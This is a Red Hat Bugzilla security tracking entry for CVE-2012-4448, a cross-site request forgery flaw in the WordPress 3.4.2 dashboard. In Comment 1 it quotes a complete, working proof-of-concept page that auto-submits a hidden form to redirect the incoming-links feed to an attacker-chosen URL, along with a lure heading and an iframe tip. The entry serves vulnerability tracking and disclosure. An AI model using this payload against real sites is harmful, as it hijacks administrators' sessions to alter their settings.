Bug 860261 (CVE-2012-4448) - CVE-2012-4448 wordpress: CSRF in the incoming links section of the dashboard
Summary: CVE-2012-4448 wordpress: CSRF in the incoming links section of the dashboard
Keywords:
Status: CLOSED UPSTREAM
Alias: CVE-2012-4448
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard: impact=moderate,public=20120924,repor...
Depends On: 860267 860268
Blocks:
TreeView+ depends on / blocked
 
Reported: 2012-09-25 12:30 UTC by Jan Lieskovsky
Modified: 2019-06-10 10:59 UTC (History)
1 user (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2019-06-10 10:59:22 UTC


Attachments (Terms of Use)

Description Jan Lieskovsky 2012-09-25 12:30:58 UTC
A cross-site request forgery (CSRF) flaw was found in the way WordPress, a blog tool and publishing platform, performed sanitization of parameters by registering dashboard widgets for incoming links widget. A remote attacker could provide a specially-crafted web page that, when visited by wordpress administrator could allow the attacker to change the URL of the feed for the incoming links section of the dashboard.

References:
[1] http://packetstormsecurity.org/files/116785/WordPress-3.4.2-Cross-Site-Request-Forgery.html
[2] https://bugs.gentoo.org/show_bug.cgi?id=436198
[3] https://secunia.com/advisories/50715/

Comment 1 Jan Lieskovsky 2012-09-25 12:50:55 UTC
Local copy of the reproducer from [1]:

==================WORDPRESS 3.4.2 CSRF exploit=================
<body onload="javascript:document.forms[0].submit()">
<form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form">
<h1>How Many Girls You Have? xD))</h1>
<!-- Idea for you: Iframe it -->
<input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" />
  
<select id="rss-items-1" name="widget-rss[1][items]">
<option value='1' >1</option>
<option value='2' >2</option>
<option value='3' >3</option><option value='4' >4</option>
<option value='5' >5</option>
<option value='6' >6</option>
<option value='7' >7</option>
<option value='8' >8</option>
<option value='9' >9</option>
<option value='10' >10</option>
<option value='11' >11</option>
<option value='12' >12</option>
<option value='13' >13</option>
<option value='14' >14</option>
<option value='15' >15</option>
<option value='16' >16</option>
<option value='17' >17</option>
<option value='18' >18</option>
<option value='19' >19</option>
<option value='20' selected='selected'>20</option>
</select>
<input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget_id" value="dashboard_incoming_links" />
</form>
====================END OF=================================

Comment 2 Jan Lieskovsky 2012-09-25 12:51:38 UTC
CVE request:
[4] http://www.openwall.com/lists/oss-security/2012/09/25/10

Comment 3 Jan Lieskovsky 2012-09-25 12:53:05 UTC
Created wordpress tracking bugs for this issue

Affects: fedora-all [bug 860267]
Affects: epel-all [bug 860268]

Comment 4 Jan Lieskovsky 2012-09-26 08:24:05 UTC
The CVE identifier of CVE-2012-4448 has been assigned to this issue:
http://www.openwall.com/lists/oss-security/2012/09/25/15

Comment 5 Product Security DevOps Team 2019-06-10 10:59:22 UTC
This CVE Bugzilla entry is for community support informational purposes only as it does not affect a package in a commercially supported Red Hat product. Refer to the dependent bugs for status of those individual community products.


Note You need to log in before you can comment on or make changes to this bug.